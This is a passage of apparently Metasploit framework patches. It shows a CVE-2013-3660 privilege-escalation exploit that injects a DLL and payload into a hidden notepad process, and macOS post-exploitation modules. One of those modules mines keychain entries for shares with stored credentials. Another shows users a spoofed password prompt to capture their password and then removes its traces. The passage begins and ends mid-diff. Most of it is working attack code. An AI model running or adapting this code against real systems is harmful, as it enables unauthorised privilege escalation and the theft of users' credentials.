print_status("Launching notepad to host the exploit...") + cmd = "notepad.exe" + opts = {'Hidden' => true} + process = client.sys.process.execute(cmd, nil, opts) + pid = process.pid + host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + print_good("Process #{pid} launched.") - if not new_pid - print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself") - else - print_status("Migrating to #{new_pid}") - migrate_res = false - - begin - migrate_res = session.core.migrate(new_pid) - rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError - migrate_res = false - end - - if migrate_res - print_good("Successfully migrated to process #{new_pid}") - else - print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually") + print_status("Reflectively injecting the exploit DLL into #{pid}...") + library_path = ::File.join(Msf::Config.data_directory, "exploits", + "cve-2013-3660", "ppr_flatten_rec.x86.dll") + library_path = ::File.expand_path(library_path) + ::File.open(library_path, 'rb') { |f| dll = f.read } + pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) + pe.exports.entries.each do |e| + if e.name =~ /^\S*ReflectiveLoader\S*/ + offset = pe.rva_to_file_offset(e.rva) + break end end + # Inject the exloit, but don't run it yet. + exploit_mem = inject_into_pid(dll, host_process) - print_status("Trying to load the exploit and executing...") + print_status("Exploit injected. Injecting payload into #{pid}...") + # Inject the payload into the process so that it's runnable by the exploit. + payload_mem = inject_into_pid(payload.encoded, host_process) - session.core.load_library({ - "LibraryFilePath" => File.join(Msf::Config.data_directory, "exploits", "cve-2013-3660", "exploit.dll"), - "UploadLibrary" => true, - "Extension" => false, - "TargetFilePath" => "#{rand_text_alpha(5 + rand(3))}.dll", - "SaveToDisk" => false - }) - - print_status("Checking privileges after exploitation...") - - if is_system? - print_good("Exploitation successful!") - else - fail_with(Failure::Unknown, "The exploitation wasn't successful but should be safe to try again") - end - - if execute_shellcode(payload.encoded) - print_good("Enjoy!") - else - fail_with(Failure::Unknown, "Error while executing the payload") - end + print_status("Payload injected. Executing exploit...") + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + host_process.thread.create(exploit_mem + offset, payload_mem) + wait = datastore['WAIT'].to_i + print_status("Exploit thread executing (can take a while to run), waiting #{wait} sec ...") + # TODO: talk to the guys about this, there has to be a wait involved before the + # exploit has finished, because the listener has to stick around for a while + # otherwise it shuts down before the exploit has finished. + Rex.sleep(wait) + print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") end +protected + + def inject_into_pid(payload, process) + payload_size = payload.length + payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0 + payload_mem = process.memory.allocate(payload_size) + process.memory.protect(payload_mem) + process.memory.write(payload_mem, payload) + return payload_mem + end end From 485e38ebca5be6574b90f3030193a80223de5cf2 Mon Sep 17 00:00:00 2001 From: joev Date: Wed, 27 Nov 2013 05:22:12 -0600 Subject: [PATCH 16/61] Some code tweaks to post/osx/mount_share. * Make PROTOCOL an Enum * Move path override options to advanced section * More Enumerable rework * Move one-off regexes back to inline, pull out protocol list --- modules/post/osx/manage/mount_share.rb | 106 +++++++++++-------------- 1 file changed, 46 insertions(+), 60 deletions(-) diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index 99b5e9d6b2..d7b3543059 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -8,10 +8,9 @@ require 'rex' class Metasploit3 < Msf::Post - include Msf::Post::File + FILE_SHARE_PROTOCOLS = %w(smb nfs cifs ftp afp) - REGEX_PROTO = "^.*\=\"(.*)\w*\"\w*$" - REGEX_SERVER = "^.*\=\"(.*)\"\w*$" + include Msf::Post::File def initialize(info={}) super( update_info( info, @@ -27,8 +26,8 @@ class Metasploit3 < Msf::Post 'Platform' => [ 'osx' ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ - [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ], - [ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ], + [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ], + [ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ], [ 'UNMOUNT', { 'Description' => 'Unmount a mounted volume' } ] ], 'DefaultAction' => 'LIST' @@ -37,22 +36,26 @@ class Metasploit3 < Msf::Post register_options( [ OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']), + OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS]) + ], self.class) + + register_advanced_options( + [ OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']), OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']), OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']), - OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist']), - OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb']) - ], self.class) - + OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist']) + ] + ) end def run fail_with("Invalid action") if action.nil? - username = cmd_exec('whoami') - security_path = datastore['SECURITY_PATH'].shellescape - sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape - recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape + username = cmd_exec('whoami').strip + security_path = datastore['SECURITY_PATH'] + sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}") + recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}") if action.name == 'LIST' if file?(security_path) @@ -112,104 +115,87 @@ class Metasploit3 < Msf::Post end def get_keyring_shares(security_path) - vprint_status("#{security_path} dump") - data = cmd_exec("#{security_path} dump") + data = cmd_exec("#{security_path.shellescape} dump") + # Grep for desc srvr and ptcl - tmp = [] lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip) # Go through the list, find the saved Network Password descriptions # and their corresponding ptcl and srvr attributes list = [] - for x in 0..lines.length-1 - if lines[x] =~ /"desc"="Network Password"/ && x < lines.length-3 + # for x in 0..lines.length-1 + lines.each_with_index do |line, x| + if line =~ /"desc"="Network Password"/ && x < lines.length-3 # Remove everything up to the double-quote after the equal sign, # and also the trailing double-quote - if lines[x+1].match(REGEX_PROTO) + if lines[x+1].match "^.*\=\"(.*)\w*\"\w*$" protocol = $1 - if protocol =~ /smb|nfs|cifs|ftp|afp/ && lines[x+2].match(REGEX_SERVER) + if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x+2].match("^.*\=\"(.*)\"\w*$") server = $1 list.push(protocol + "\t" + server) end end end end - return list.sort + list.sort end def get_favorite_shares(sidebar_plist_path) - vprint_status("defaults read #{sidebar_plist_path} favoriteservers") - data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers") + data = cmd_exec("defaults read #{sidebar_plist_path.shellescape} favoriteservers") # Grep for URL - list = [] - lines = data.lines - lines.each do |line| - line.strip! - if line =~ /^URL = \"(.*)\"\;$/ - list.push($1) - end - end + list = data.lines.map(&:strip).map { |line| line =~ /^URL = \"(.*)\"\;$/; $1 }.compact + data = cmd_exec("defaults read #{sidebar_plist_path.shellescape} favorites") - vprint_status("defaults read #{sidebar_plist_path} favorites") - data = cmd_exec("defaults read #{sidebar_plist_path} favorites") # Grep for EntryType and Name - tmp = [] - lines = data.lines - lines.each do |line| - line.strip! - if line =~ /EntryType|Name/ - tmp.push(line) - end - end - + lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ } # Go through the list, find the rows with EntryType 8 and their # corresponding name - for x in 0..tmp.length-1 - if tmp[x] =~ /EntryType = 8;/ && x < tmp.length-2 - if tmp[x+1] =~ /^Name \= \"(.*)\"\;$/ + for x in 0..lines.length-1 + if lines[x] =~ /EntryType = 8;/ && x < lines.length-2 + if lines[x+1] =~ /^Name \= \"(.*)\"\;$/ name = $1 list.push(name) unless list.include?(name) - elsif tmp[x+1] =~ /^Name \= (.*)\;$/ + elsif lines[x+1] =~ /^Name \= (.*)\;$/ name = $1 list.push(name) unless list.include?(name) end end end + return list.sort end def get_recent_shares(recent_plist_path) - vprint_status("defaults read #{recent_plist_path} RecentServers") - data = cmd_exec("defaults read #{recent_plist_path} RecentServers") - + data = cmd_exec("defaults read #{recent_plist_path.shellescape} RecentServers") # Grep for Name regexes = [ /^Name = \"(.*)\"\;$/, /^Name = (.*)\;$/ ] - list = data.lines.select{ |line| if regexes.any?{ |r| line.strip! =~ r } then $1 end }.compact.uniq.map(&:strip) - return list + data.lines.select{ |line| if regexes.any? { |r| line.strip! =~ r } then $1 end }.compact.uniq.map(&:strip) end def get_mounted_volumes - vprint_status("ls /Volumes") data = cmd_exec("ls /Volumes") - list = data.lines.map(&:strip).sort - return list + data.lines.map(&:strip).sort end def mount share_name = datastore['VOLUME'] protocol = datastore['PROTOCOL'] print_status("Connecting to #{protocol}://#{share_name}") - cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'" - vprint_status(cmd) - cmd_exec(cmd) + cmd_exec("#{osascript_path.shellescape} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'") end def unmount share_name = datastore['VOLUME'] print_status("Disconnecting from #{share_name}") - cmd = "osascript -e 'tell app \"finder\" to eject \"#{share_name}\"'" - vprint_status(cmd) - cmd_exec(cmd) + cmd_exec("#{osascript_path.shellescape} -e 'tell app \"finder\" to eject \"#{share_name}\"'") end + + def cmd_exec(cmd) + vprint_status(cmd) + super + end + + # path to osascript on the remote system + def osascript_path; datastore['OSASCRIPT_PATH']; end end From e876155e1ac7a41ee2b4aa8d8939298bcbf84993 Mon Sep 17 00:00:00 2001 From: joev Date: Wed, 27 Nov 2013 05:45:46 -0600 Subject: [PATCH 17/61] More tweaks to mount_share. * Adds some docs to some of the methods to further distinguish the separate sets of shares. --- modules/post/osx/manage/mount_share.rb | 48 ++++++++++++++------------ 1 file changed, 25 insertions(+), 23 deletions(-) diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index d7b3543059..a52cce360a 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -10,6 +10,8 @@ class Metasploit3 < Msf::Post FILE_SHARE_PROTOCOLS = %w(smb nfs cifs ftp afp) + NAME_REGEXES = [/^Name \= \"(.*)\"\;$/, /^Name \= (.*)\;$/] + include Msf::Post::File def initialize(info={}) @@ -50,8 +52,6 @@ class Metasploit3 < Msf::Post end def run - fail_with("Invalid action") if action.nil? - username = cmd_exec('whoami').strip security_path = datastore['SECURITY_PATH'] sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}") @@ -114,18 +114,19 @@ class Metasploit3 < Msf::Post end end + # Returns the network shares stored in the user's keychain. These shares will often have + # creds attached, so mounting occurs without prompting the user for a password. + # @return [Array] sorted list of volumes stored in the user's keychain def get_keyring_shares(security_path) - data = cmd_exec("#{security_path.shellescape} dump") - # Grep for desc srvr and ptcl + data = cmd_exec("#{security_path.shellescape} dump") lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip) # Go through the list, find the saved Network Password descriptions # and their corresponding ptcl and srvr attributes list = [] - # for x in 0..lines.length-1 lines.each_with_index do |line, x| - if line =~ /"desc"="Network Password"/ && x < lines.length-3 + if line =~ /"desc"="Network Password"/ && x < lines.length-2 # Remove everything up to the double-quote after the equal sign, # and also the trailing double-quote if lines[x+1].match "^.*\=\"(.*)\w*\"\w*$" @@ -140,42 +141,42 @@ class Metasploit3 < Msf::Post list.sort end + # Returns the user's "Favorite Shares". To add a Favorite Share on OSX, press cmd-k in Finder, enter + # an address, then click the [+] button next to the address field. + # @return [Array] sorted list of volumes saved in the user's "Recent Shares" def get_favorite_shares(sidebar_plist_path) - data = cmd_exec("defaults read #{sidebar_plist_path.shellescape} favoriteservers") - # Grep for URL + data = cmd_exec("defaults read #{sidebar_plist_path.shellescape} favoriteservers") list = data.lines.map(&:strip).map { |line| line =~ /^URL = \"(.*)\"\;$/; $1 }.compact - data = cmd_exec("defaults read #{sidebar_plist_path.shellescape} favorites") # Grep for EntryType and Name + data = cmd_exec("defaults read #{sidebar_plist_path.shellescape} favorites") lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ } + # Go through the list, find the rows with EntryType 8 and their # corresponding name - for x in 0..lines.length-1 - if lines[x] =~ /EntryType = 8;/ && x < lines.length-2 - if lines[x+1] =~ /^Name \= \"(.*)\"\;$/ - name = $1 - list.push(name) unless list.include?(name) - elsif lines[x+1] =~ /^Name \= (.*)\;$/ - name = $1 - list.push(name) unless list.include?(name) + lines.each_with_index do |line, x| + if line =~ /EntryType = 8;/ && x < lines.length-1 + if NAME_REGEXES.any? { |r| lines[x+1].strip =~ r } + list.push($1) end end end - return list.sort + list.sort end + # Returns the user's "Recent Shares" list + # @return [Array] sorted list of volumes saved in the user's "Recent Shares" def get_recent_shares(recent_plist_path) - data = cmd_exec("defaults read #{recent_plist_path.shellescape} RecentServers") # Grep for Name - regexes = [ /^Name = \"(.*)\"\;$/, /^Name = (.*)\;$/ ] - data.lines.select{ |line| if regexes.any? { |r| line.strip! =~ r } then $1 end }.compact.uniq.map(&:strip) + data = cmd_exec("defaults read #{recent_plist_path.shellescape} RecentServers") + data.lines.map(&:strip).select { |line| if NAME_REGEXES.any? { |r| line.strip =~ r } then $1 end }.compact.uniq.sort end + # @return [Array] sorted list of mounted volume names def get_mounted_volumes - data = cmd_exec("ls /Volumes") - data.lines.map(&:strip).sort + cmd_exec("ls /Volumes").lines.map(&:strip).sort end def mount @@ -191,6 +192,7 @@ class Metasploit3 < Msf::Post cmd_exec("#{osascript_path.shellescape} -e 'tell app \"finder\" to eject \"#{share_name}\"'") end + # hook cmd_exec to print a debug message when DEBUG=true def cmd_exec(cmd) vprint_status(cmd) super From b0416b802da7fd7780a559db850382d4151adba0 Mon Sep 17 00:00:00 2001 From: joev Date: Wed, 27 Nov 2013 06:08:48 -0600 Subject: [PATCH 18/61] Change the Recent shares implementation. * Allows us to see protocol of Recent Shares * Parses protocol from file share URL --- modules/post/osx/manage/mount_share.rb | 46 ++++++++++++++++---------- 1 file changed, 29 insertions(+), 17 deletions(-) diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index a52cce360a..09391d0cfb 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -23,7 +23,8 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ - 'Peter Toth ' + 'Peter Toth ', + 'joev' ], 'Platform' => [ 'osx' ], 'SessionTypes' => [ 'shell', 'meterpreter' ], @@ -53,9 +54,9 @@ class Metasploit3 < Msf::Post def run username = cmd_exec('whoami').strip - security_path = datastore['SECURITY_PATH'] - sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}") - recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}") + security_path = datastore['SECURITY_PATH'].shellescape + sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape + recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape if action.name == 'LIST' if file?(security_path) @@ -78,8 +79,9 @@ class Metasploit3 < Msf::Post print_status("No favorite shares were found") else print_status("Favorite shares (without stored credentials):") + print_status(" Protocol\tShare Name") favorite_shares.each do |line| - print_good(" #{line}") + print_uri(line) end end else @@ -91,8 +93,9 @@ class Metasploit3 < Msf::Post print_status("No recent shares were found") else print_status("Recent shares (without stored credentials):") + print_status(" Protocol\tShare Name") recent_shares.each do |line| - print_good(" #{line}") + print_uri(line) end end else @@ -119,7 +122,7 @@ class Metasploit3 < Msf::Post # @return [Array] sorted list of volumes stored in the user's keychain def get_keyring_shares(security_path) # Grep for desc srvr and ptcl - data = cmd_exec("#{security_path.shellescape} dump") + data = cmd_exec("#{security_path} dump") lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip) # Go through the list, find the saved Network Password descriptions @@ -146,15 +149,14 @@ class Metasploit3 < Msf::Post # @return [Array] sorted list of volumes saved in the user's "Recent Shares" def get_favorite_shares(sidebar_plist_path) # Grep for URL - data = cmd_exec("defaults read #{sidebar_plist_path.shellescape} favoriteservers") - list = data.lines.map(&:strip).map { |line| line =~ /^URL = \"(.*)\"\;$/; $1 }.compact + data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers") + list = data.lines.map(&:strip).map { |line| line =~ /^URL = \"(.*)\"\;$/ && $1 }.compact # Grep for EntryType and Name - data = cmd_exec("defaults read #{sidebar_plist_path.shellescape} favorites") + data = cmd_exec("defaults read #{sidebar_plist_path} favorites") lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ } - # Go through the list, find the rows with EntryType 8 and their - # corresponding name + # Go through the list, find the rows with EntryType 8 and their corresponding name lines.each_with_index do |line, x| if line =~ /EntryType = 8;/ && x < lines.length-1 if NAME_REGEXES.any? { |r| lines[x+1].strip =~ r } @@ -170,8 +172,8 @@ class Metasploit3 < Msf::Post # @return [Array] sorted list of volumes saved in the user's "Recent Shares" def get_recent_shares(recent_plist_path) # Grep for Name - data = cmd_exec("defaults read #{recent_plist_path.shellescape} RecentServers") - data.lines.map(&:strip).select { |line| if NAME_REGEXES.any? { |r| line.strip =~ r } then $1 end }.compact.uniq.sort + data = cmd_exec("defaults read #{recent_plist_path} Hosts") + data.lines.map(&:strip).map { |line| line =~ /^URL = \"(.*)\"\;$/ && $1 }.compact.uniq.sort end # @return [Array] sorted list of mounted volume names @@ -183,13 +185,13 @@ class Metasploit3 < Msf::Post share_name = datastore['VOLUME'] protocol = datastore['PROTOCOL'] print_status("Connecting to #{protocol}://#{share_name}") - cmd_exec("#{osascript_path.shellescape} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'") + cmd_exec("#{osascript_path} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'") end def unmount share_name = datastore['VOLUME'] print_status("Disconnecting from #{share_name}") - cmd_exec("#{osascript_path.shellescape} -e 'tell app \"finder\" to eject \"#{share_name}\"'") + cmd_exec("#{osascript_path} -e 'tell app \"finder\" to eject \"#{share_name}\"'") end # hook cmd_exec to print a debug message when DEBUG=true @@ -198,6 +200,16 @@ class Metasploit3 < Msf::Post super end + # Prints a file share url (e.g. smb://joe.com) as Protocol + \t + Host + # @param [String] line the URL to parse and print formatted + def print_uri(line) + if line =~ /^(.*?):\/\/(.*)$/ + print_good " #{$1}\t#{$2}" + else + print_good " #{line}" + end + end + # path to osascript on the remote system - def osascript_path; datastore['OSASCRIPT_PATH']; end + def osascript_path; datastore['OSASCRIPT_PATH'].shellescape; end end From 6561f149a8221ff23d3ed35fe68ae8d2e0dcefcc Mon Sep 17 00:00:00 2001 From: joev Date: Wed, 27 Nov 2013 06:16:25 -0600 Subject: [PATCH 19/61] DRY up URL_REGEX constant. --- modules/post/osx/manage/mount_share.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index 09391d0cfb..be6d5b1701 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -8,10 +8,15 @@ require 'rex' class Metasploit3 < Msf::Post + # list of accepted file share protocols. other "special" URLs (like vnc://) will be ignored. FILE_SHARE_PROTOCOLS = %w(smb nfs cifs ftp afp) + # Used to parse a name property from a plist NAME_REGEXES = [/^Name \= \"(.*)\"\;$/, /^Name \= (.*)\;$/] + # Used to parse a URL property from a plist + URL_REGEX = /^URL = \"(.*)\"\;$/ + include Msf::Post::File def initialize(info={}) @@ -150,7 +155,7 @@ class Metasploit3 < Msf::Post def get_favorite_shares(sidebar_plist_path) # Grep for URL data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers") - list = data.lines.map(&:strip).map { |line| line =~ /^URL = \"(.*)\"\;$/ && $1 }.compact + list = data.lines.map(&:strip).map { |line| line =~ URL_REGEX && $1 }.compact # Grep for EntryType and Name data = cmd_exec("defaults read #{sidebar_plist_path} favorites") @@ -173,7 +178,7 @@ class Metasploit3 < Msf::Post def get_recent_shares(recent_plist_path) # Grep for Name data = cmd_exec("defaults read #{recent_plist_path} Hosts") - data.lines.map(&:strip).map { |line| line =~ /^URL = \"(.*)\"\;$/ && $1 }.compact.uniq.sort + data.lines.map(&:strip).map { |line| line =~ URL_REGEX && $1 }.compact.uniq.sort end # @return [Array] sorted list of mounted volume names From 95a98529c4cacc38e2488eb9e74e021786d12b79 Mon Sep 17 00:00:00 2001 From: Peter Toth Date: Wed, 27 Nov 2013 21:38:20 +0100 Subject: [PATCH 20/61] Removed script launcher wrapper and fixed the file_exists so that the module now detects input --- .../post/osx/gather/password_prompt_spoof.rb | 86 ++++++++----------- 1 file changed, 34 insertions(+), 52 deletions(-) diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 21d2579b9a..7bfa70ee95 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -19,7 +19,8 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Joff Thyer ', # original post module - 'joev' # bug fixes + 'joev', # bug fixes + 'Peter Toth ' # bug fixes ], 'Platform' => [ 'osx' ], 'References' => [ @@ -79,29 +80,23 @@ class Metasploit3 < Msf::Post print_status("Running module against #{host}") dir = "/tmp/." + Rex::Text.rand_text_alpha((rand(8)+6)) - runme = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) creds_osa = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) - creds = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) pass_file = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) username = cmd_exec("/usr/bin/whoami").strip cmd_exec("umask 0077") cmd_exec("/bin/mkdir #{dir}") - # write the script that will launch things - write_file(runme, run_script) - cmd_exec("/bin/chmod 700 #{runme}") - - # write the credentials script, compile and run + # write the credentials script and run write_file(creds_osa,creds_script(pass_file)) - cmd_exec("/usr/bin/osacompile -o #{creds} #{creds_osa}") - cmd_exec("#{runme} #{creds}") + cmd_exec("cat #{creds_osa} | osascript") + print_status("Waiting for user '#{username}' to enter credentials...") timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i pass_found = false while (::Time.now.to_f < timeout) - if ::File.exist?(pass_file) + if file_exist?(pass_file) print_status("Password entered! What a nice compliant user...") pass_found = true break @@ -122,51 +117,38 @@ class Metasploit3 < Msf::Post cmd_exec("/usr/bin/srm -rf #{dir}") end - # "wraps" the #creds_script applescript and allows it to make UI calls - def run_script - %Q{ - #!/bin/bash - osascript <